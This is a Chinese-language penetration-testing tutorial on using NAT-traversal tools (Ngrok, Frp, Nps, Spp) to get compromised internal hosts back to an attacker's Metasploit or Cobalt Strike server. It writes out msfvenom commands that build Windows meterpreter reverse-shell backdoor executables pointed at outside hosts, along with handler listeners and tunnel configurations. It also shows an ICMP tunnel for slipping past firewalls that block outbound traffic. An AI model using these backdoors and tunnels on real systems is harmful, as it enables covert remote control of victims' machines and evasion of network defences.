目录
内网穿透技术
这个技术可以解决的问题:
- 穿透:实现“内网”控制“内网”,内网主机上线。
- 隧道:解决内网主机协议的限制,实现通讯,之后上线。
内网穿透原理
内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。
内网穿透的原理可以简单描述如下:
NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址。这样,内网设备可以通过NAT设备与公网通信,但公网无法直接访问内网设备。
穿透技术:为了实现内网穿透,需要借助一些特定的技术手段,使公网上的设备能够访问到内网中的设备。常见的穿透技术包括:
端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。
反向代理(Reverse Proxy):在公网上搭建一个反向代理服务器,将公网请求转发到内网中的设备上。公网设备与反向代理服务器建立连接后,由反向代理服务器将请求转发到内网设备,实现公网访问内网的功能。
VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个虚拟的私有网络,将公网设备加入到该网络中,使其能够直接访问内网中的设备。
云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。
实验环境
目标:xiaodi8.com上线Kali的CS
- 公网主机:xiaodi8.com
- 内网Kali:192.168.1.166
正向连接:Kali主动连接xiaodi8.com,可行
反向连接:xiaodi8.com连接Kali,不可行
为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。
内网穿透项目
一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)
https://www.ngrok.cc https://github.com/esrrhs/spp https://github.com/fatedier/frp https://github.com/ehang-io/nps http://www.rootkiter.com/EarthWorm
优点:穿透加密数据,中间平台,防追踪,解决网络问题
内网穿透:Ngrok
项目地址:内网转发
免费版:仅支持三种协议,http,https,tcp
配置服务端
开通隧道,设置Kali内网IP,Port,以及服务器开放的端口
客户端配置
Kali执行客户端,这个过程相当于Kali主动连接域名
./sunny clientid 203828291918
客户端生成后门,等待目标上线
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe
开启监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 2233 run
目标上线
内网穿透:Frp
项目地址:https://github.com/fatedier/frp
需要一台服务器
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
客户端服务端建立连接
服务端
服务器修改配置文件frps.ini 隧道建立绑定在7000端口
[common] bind_port = 7000
启动服务端
./frps -c ./frps.ini
客户端
修改配置文件frpc.ini
隧道建立绑定在7000端口
服务端的6000端口受到数据会自动转发到本地的5555端口
[common] server_addr = 47.94.236.117 server_port = 7000 [msf] type=tcp local_ip=127.0.0.1 local_port=5555 remote_port=6000
启动客户端
./frpc -c ./frpc.ini
客户端与服务端建立连接
MSF生成后门,等待上线
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe
开启监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit
上线
内网穿透:Nps
相当于服务端搭建一个ngrok
项目地址:https://github.com/ehang-io/nps
下载项目到服务器,它有一个客户端,一个服务端
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
服务端搭建配置
安装nps
./nps install
运行nps
./nps
默认运行地址
http://IP:8080/
默认登录账号密码
admin/123
创建客户端,生成密匙
添加协议隧道,绑定指向
将访问服务器5566端口的流量发送至客户端的6666端口
客户端配置
连接服务端
./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v #创建客户端后自动生成密钥
MSF生成后门上线
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe
监听本地6666
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 6666 run
上线
内网穿透:Spp
项目地址:GitHub - esrrhs/spp: A simple and powerful proxy
支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
服务端
服务端运行,监听本地的ICMP流量
./spp -type server -proto ricmp -listen 0.0.0.0
客户端
受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)
spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp
服务端收到数据
CS配置
这个CS是运行在服务端的
创建两个监听器:
监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行
上线,生成监听器2的木马,上线监听器1
总结:内网穿透技术解决了和内网主机连接的问题
区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样
代理技术可以把外网攻击机带进内网进行渗透
隧道技术解决了因为防火墙限制流量不出网的问题
内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器
要根据不同使用场景来选择使用。